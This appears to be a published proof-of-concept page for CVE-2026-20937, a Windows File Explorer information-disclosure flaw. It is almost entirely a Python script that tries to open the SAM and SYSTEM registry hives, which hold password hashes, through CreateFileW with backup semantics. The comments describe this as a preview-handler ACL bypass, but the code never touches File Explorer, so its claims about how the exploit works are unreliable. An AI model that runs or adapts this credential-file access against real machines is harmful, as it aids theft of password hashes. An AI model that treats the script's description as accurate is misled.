CVE-2026-20937 | Windows文件资源管理器信息泄露漏洞

# CVE-2026-20937 PoC - Windows File Explorer Information Disclosure # Note: This is a conceptual PoC demonstrating the attack vector # Actual exploitation requires specific trigger conditions import os import sys import ctypes from ctypes import wintypes # Windows API imports kernel32 = ctypes.windll.kernel32 def trigger_vulnerability(): """ Trigger conditions for CVE-2026-20937 This PoC demonstrates the concept of exploiting Windows File Explorer's improper access control """ print("[*] CVE-2026-20937 Information Disclosure PoC") print("[*] Target: Windows File Explorer") # Step 1: Identify protected files accessible via File Explorer protected_paths = [ r"C:\Windows\System32\config\SAM", r"C:\Windows\System32\config\SYSTEM", r"C:\Windows\ServiceProfiles\..." ] # Step 2: Exploit File Explorer preview handler vulnerability # The vulnerability allows bypassing ACL checks for path in protected_paths: if os.path.exists(path): print(f"[!] Found accessible file: {path}") # Attempt to read via File Explorer bypass try: handle = kernel32.CreateFileW( path, 0x80000000, # GENERIC_READ 0x00000001, # FILE_SHARE_READ None, 3, # OPEN_EXISTING 0x02000000, # FILE_FLAG_BACKUP_SEMANTICS None ) if handle != -1: print(f"[+] Successfully accessed: {path}") kernel32.CloseHandle(handle) except Exception as e: print(f"[-] Access denied: {e}") print("[*] Note: Actual exploitation requires specific trigger conditions") print("[*] Refer to MSRC advisory for complete technical details") if __name__ == "__main__": trigger_vulnerability()